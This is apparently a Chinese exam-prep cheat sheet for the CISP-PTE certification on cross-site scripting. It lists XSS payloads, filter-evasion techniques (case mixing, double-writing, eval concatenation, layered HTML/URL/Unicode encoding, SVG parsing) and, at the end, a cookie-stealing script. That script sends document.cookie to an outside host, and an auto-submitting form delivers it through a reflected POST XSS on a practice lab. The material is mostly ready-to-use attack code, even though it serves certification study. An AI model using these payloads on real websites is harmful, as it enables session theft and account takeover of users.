CISP-PTE跨站脚本攻击部分

1.常见payload

1
2
3
4
5
6
7
8
9
10
<script>alert(/xss/)</script>
<iframe onload=alert("xss");></iframe>
<textarea></textarea><script>alert(/xss/)</script>
<link rel=import href="http://127.0.0.1/1.js">
<a href="javascript:alert(`xss`);">点击就送</a>
<iframe src=javascript:alert('xss');></iframe>
<form action="javascript:alert(`xss`)"><input type=submit>

<iMg/src="x"/oneRroR=alert("Xss");>
<iMg%0asrc="x"/oneRor=alert("xss");>

2.常见绕过姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!--1.绕过空格 可使用/来代替空格-->
<img/src="x"/onerror=alert(1);>
<!--2.绕过引号;在html标签内可不用引号。 在js可以使用 "`" 来代替 单双引号-->
<img src=x onerror=alert(`xss`);>
<!--3.绕过关键字过滤 -->
<!--大小写绕过 -->
<sCrIPt>alert(1);</sCrIpT>
<!--双写绕过 -->
<scrscriptipt>alert(1);</scrscriptipt>
<!--拼接绕过 -->
<img src="" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>
<!--4.XSS编码绕过 -->
<!--游览器编码解析过程顺序为 HTML解码->URL解码->JS解码(Unicode)-->
<!--因此可通过对js代码进行编码来绕过检查,但是顺序必须一致-->
<!--JS编码(Unicode)->URL编码->HTML编码-->
<!--可使用混合编码或者单一编码来绕过-->
<!--源码-->
<a href="javascript:alert('xss')">test</a>
<!--JS编码-->
<a href="javascript:a\u006Cert('xss')">test</a>
<!--URL编码-->
<a href="javascript:a%6cert('xss')">test</a>
<!--HTML编码-->
<a href="javascript:a&#x6c;ert('xss')">test</a>
<!--三种混合编码 字符e-->
<a href="javascript:al&percnt;5Cu0065rt('xss')">test</a>
<!--5.svg标签解析 如果游览器对整个进行实体编码输出,可以使用svg标签来弹窗-->
<script>&#97;&#108;&#101;&#114;&#116;&lpar;&#49;&rpar;/script>
<svg><script>&#97;&#108;&#101;&#114;&#116;&lpar;&#49;&rpar;/script></svg>

3.盗取cookie js代码

1
<script>document.location = 'http://192.168.100.140/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<img src ="./1.png">
</head>
<body>
<form method="post" action="http://192.168.100.200/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="hidden" name="message" value=
"<script>
document.location = 'http://192.168.100.140/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="" />
</form>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</body>
</html>